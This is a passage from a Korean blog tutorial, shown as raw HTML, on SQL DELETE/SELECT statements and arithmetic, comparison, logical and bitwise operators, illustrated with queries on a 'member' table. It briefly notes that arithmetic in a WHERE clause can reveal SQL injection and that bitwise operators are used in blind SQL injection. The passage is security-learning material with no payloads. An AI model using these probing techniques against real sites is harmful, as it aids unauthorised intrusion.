&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;612&quot; data-origin-height=&quot;585&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFAGUY/btsKKESJtMm/xwSKhXHfO0GxBHvl07wC6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFAGUY/btsKKESJtMm/xwSKhXHfO0GxBHvl07wC6k/img.png&quot; data-alt=&quot;그림10 - udpate 명령어 사용하여 데이터 변경&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFAGUY/btsKKESJtMm/xwSKhXHfO0GxBHvl07wC6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFAGUY%2FbtsKKESJtMm%2FxwSKhXHfO0GxBHvl07wC6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;612&quot; height=&quot;585&quot; data-origin-width=&quot;612&quot; data-origin-height=&quot;585&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림10 - udpate 명령어 사용하여 데이터 변경&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;delete from member where seq=6;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; seq가 6인 레코드를 삭제&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member; 입력하여 데이터 삭제 확인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;482&quot; data-origin-height=&quot;264&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwfoZf/btsKMiAWMlh/uVKhj2hr8vvxbkwSz0vTS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwfoZf/btsKMiAWMlh/uVKhj2hr8vvxbkwSz0vTS1/img.png&quot; data-alt=&quot;그림11- delete 명령어 사용하여 데이터 삭제&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwfoZf/btsKMiAWMlh/uVKhj2hr8vvxbkwSz0vTS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwfoZf%2FbtsKMiAWMlh%2FuVKhj2hr8vvxbkwSz0vTS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;482&quot; height=&quot;264&quot; data-origin-width=&quot;482&quot; data-origin-height=&quot;264&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림11- delete 명령어 사용하여 데이터 삭제&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;연산자&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1017&quot; data-origin-height=&quot;854&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cBQTqP/btsKM588BLn/K5k09XdyYvRT0cAvD46Yo1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cBQTqP/btsKM588BLn/K5k09XdyYvRT0cAvD46Yo1/img.png&quot; data-alt=&quot;그림12 - SQL 연산자&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cBQTqP/btsKM588BLn/K5k09XdyYvRT0cAvD46Yo1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcBQTqP%2FbtsKM588BLn%2FK5k09XdyYvRT0cAvD46Yo1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1017&quot; height=&quot;854&quot; data-origin-width=&quot;1017&quot; data-origin-height=&quot;854&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림12 - SQL 연산자&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;연산자와 피연산자의 관계&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;883&quot; data-origin-height=&quot;437&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UPmEy/btsKLZISvfs/LdrzMSclbJdkHQajDHta0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UPmEy/btsKLZISvfs/LdrzMSclbJdkHQajDHta0K/img.png&quot; data-alt=&quot;그림13 - 연산자와 피연산자의 관계&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UPmEy/btsKLZISvfs/LdrzMSclbJdkHQajDHta0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUPmEy%2FbtsKLZISvfs%2FLdrzMSclbJdkHQajDHta0K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;883&quot; height=&quot;437&quot; data-origin-width=&quot;883&quot; data-origin-height=&quot;437&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림13 - 연산자와 피연산자의 관계&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;산술 연산자&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1006&quot; data-origin-height=&quot;328&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbfSA8/btsKLlrS5YK/iCocxoUsh1oW5sQbW7so5K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbfSA8/btsKLlrS5YK/iCocxoUsh1oW5sQbW7so5K/img.png&quot; data-alt=&quot;그림14 - 산술 연산자&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbfSA8/btsKLlrS5YK/iCocxoUsh1oW5sQbW7so5K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbfSA8%2FbtsKLlrS5YK%2FiCocxoUsh1oW5sQbW7so5K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1006&quot; height=&quot;328&quot; data-origin-width=&quot;1006&quot; data-origin-height=&quot;328&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림14 - 산술 연산자&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL 구문으로 산술 연산이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select 1+4; 입력 시 답은 5가 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select 1+4*2; 입력 시 답은 9가 나온다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;323&quot; data-origin-height=&quot;280&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/U9MMT/btsKKvIOKiC/60PaEpvkvq3Ocx70O8Lv71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/U9MMT/btsKKvIOKiC/60PaEpvkvq3Ocx70O8Lv71/img.png&quot; data-alt=&quot;그림15 - select로 산술 연산&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/U9MMT/btsKKvIOKiC/60PaEpvkvq3Ocx70O8Lv71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FU9MMT%2FbtsKKvIOKiC%2F60PaEpvkvq3Ocx70O8Lv71%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;323&quot; height=&quot;280&quot; data-origin-width=&quot;323&quot; data-origin-height=&quot;280&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림15 - select로 산술 연산&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;산술 연산으로 데이터 출력하기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member where seq=6-1;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from member where seq=5; 와 동일하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; Injection이 발생된다는 하나의 추론이 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;450&quot; data-origin-height=&quot;281&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/caejnn/btsKKwnpkJP/OTeJMOSkgpJtQH51vclWL0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/caejnn/btsKKwnpkJP/OTeJMOSkgpJtQH51vclWL0/img.png&quot; data-alt=&quot;그림16 - 산술 연산으로 데이터 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/caejnn/btsKKwnpkJP/OTeJMOSkgpJtQH51vclWL0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcaejnn%2FbtsKKwnpkJP%2FOTeJMOSkgpJtQH51vclWL0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;450&quot; height=&quot;281&quot; data-origin-width=&quot;450&quot; data-origin-height=&quot;281&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림16 - 산술 연산으로 데이터 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;비교 연산자&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;785&quot; data-origin-height=&quot;565&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baZDXx/btsKNdlAX9h/kCfAWuVVaqPF3kyU3APf21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baZDXx/btsKNdlAX9h/kCfAWuVVaqPF3kyU3APf21/img.png&quot; data-alt=&quot;그림17 - 비교 연산자&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baZDXx/btsKNdlAX9h/kCfAWuVVaqPF3kyU3APf21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaZDXx%2FbtsKNdlAX9h%2FkCfAWuVVaqPF3kyU3APf21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;785&quot; height=&quot;565&quot; data-origin-width=&quot;785&quot; data-origin-height=&quot;565&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림17 - 비교 연산자&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member where seq&amp;gt;=2;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; seq 가 2보다 크거나 같은 데이터를 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member where seq !=4;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; seq 가 4가 아닌 데이터를 출력&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;488&quot; data-origin-height=&quot;380&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b776Xw/btsKMjAhEzQ/gkSlSofZi5X5ub7qV9a631/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b776Xw/btsKMjAhEzQ/gkSlSofZi5X5ub7qV9a631/img.png&quot; data-alt=&quot;그림18 - 비교 연산자 사용하여 데이터 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b776Xw/btsKMjAhEzQ/gkSlSofZi5X5ub7qV9a631/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb776Xw%2FbtsKMjAhEzQ%2FgkSlSofZi5X5ub7qV9a631%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;488&quot; height=&quot;380&quot; data-origin-width=&quot;488&quot; data-origin-height=&quot;380&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림18 - 비교 연산자 사용하여 데이터 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;논리 연산자&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;998&quot; data-origin-height=&quot;345&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lO4zb/btsKL0OxhZV/WyYMEw5zO7QZF81FytEWZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lO4zb/btsKL0OxhZV/WyYMEw5zO7QZF81FytEWZ0/img.png&quot; data-alt=&quot;그림19 - 논리 연산자&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lO4zb/btsKL0OxhZV/WyYMEw5zO7QZF81FytEWZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlO4zb%2FbtsKL0OxhZV%2FWyYMEw5zO7QZF81FytEWZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;998&quot; height=&quot;345&quot; data-origin-width=&quot;998&quot; data-origin-height=&quot;345&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림19 - 논리 연산자&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;NOT &amp;rarr; True는 False로, False는 True로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AND &amp;rarr; 둘다 True 여야 True 성립됨, 하나라도 False면 False&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OR &amp;rarr; 둘중 하나라도 True면 True 성립됨. 둘다 False 면 False&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member where seq=1 or seq=5;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; seq가 1 또는 5인 데이터를 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member where seq=5 and name='lee';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; seq가 5 이고 name이 lee인 데이터를 출력&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;556&quot; data-origin-height=&quot;300&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JN4Kp/btsKLnwu7W8/n98kdUgoYGLcmEHQNHNQ2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JN4Kp/btsKLnwu7W8/n98kdUgoYGLcmEHQNHNQ2K/img.png&quot; data-alt=&quot;그림20 - OR와 AND 연산자로 데이터 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JN4Kp/btsKLnwu7W8/n98kdUgoYGLcmEHQNHNQ2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJN4Kp%2FbtsKLnwu7W8%2Fn98kdUgoYGLcmEHQNHNQ2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;556&quot; height=&quot;300&quot; data-origin-width=&quot;556&quot; data-origin-height=&quot;300&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림20 - OR와 AND 연산자로 데이터 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;비트 논리 연산자&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1308&quot; data-origin-height=&quot;347&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b3DtAt/btsKM2R7AR0/8tW0uFxS7MoqOlNlHnllWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b3DtAt/btsKM2R7AR0/8tW0uFxS7MoqOlNlHnllWk/img.png&quot; data-alt=&quot;그림21 - 비트 논리 연산자&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b3DtAt/btsKM2R7AR0/8tW0uFxS7MoqOlNlHnllWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb3DtAt%2FbtsKM2R7AR0%2F8tW0uFxS7MoqOlNlHnllWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1308&quot; height=&quot;347&quot; data-origin-width=&quot;1308&quot; data-origin-height=&quot;347&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림21 - 비트 논리 연산자&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XOR = 배타적 논리합 = 둘중 하나만 True인 경우에만 True가 됨. True True 또는 False False 인 경우 False가 됨.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;AND &amp;rarr; 둘다 1이여야 1 성립됨, 하나라도 0이면 0&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;OR &amp;rarr; 둘중 하나라도 1이면 1 성립됨. 둘다 0 이면 0&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;10진수를 2진수로 변환 후 비트 연산을 한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select 1&amp;amp;1;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 둘다 1이므로 True = 1&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select 2&amp;amp;1;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 10과 01을 AND 연산 = 00&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select 3&amp;amp;1;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 11과 01을 AND 연산 = 01&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;420&quot; data-origin-height=&quot;413&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dHfrcG/btsKLwGUCkY/k2xqFTFfVWZccH7B45ybS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dHfrcG/btsKLwGUCkY/k2xqFTFfVWZccH7B45ybS1/img.png&quot; data-alt=&quot;그림22 - 비트 논리 연산(1)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dHfrcG/btsKLwGUCkY/k2xqFTFfVWZccH7B45ybS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdHfrcG%2FbtsKLwGUCkY%2Fk2xqFTFfVWZccH7B45ybS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;420&quot; height=&quot;413&quot; data-origin-width=&quot;420&quot; data-origin-height=&quot;413&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림22 - 비트 논리 연산(1)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select 5&amp;amp;3;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 101과 011을 AND 연산 = 001&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select 5|2;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 101 과 010을 OR 연산 = 111 = 7&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비트 논리 연산자를 알아야 하는 이유&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; SQL Injection의 Blind Based SQL Injection에서 가장 많이 사용하는 방법이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;458&quot; data-origin-height=&quot;279&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMWj42/btsKK96rtIN/UZmKpSkTb0DEG9tdpaYfx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMWj42/btsKK96rtIN/UZmKpSkTb0DEG9tdpaYfx1/img.png&quot; data-alt=&quot;그림23 - 비트 논리 연산(2)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMWj42/btsKK96rtIN/UZmKpSkTb0DEG9tdpaYfx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMWj42%2FbtsKK96rtIN%2FUZmKpSkTb0DEG9tdpaYfx1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;458&quot; height=&quot;279&quot; data-origin-width=&quot;458&quot; data-origin-height=&quot;279&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림23 - 비트 논리 연산(2)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;연결 연산자&lt;/b&gt;&lt;/p&gt;
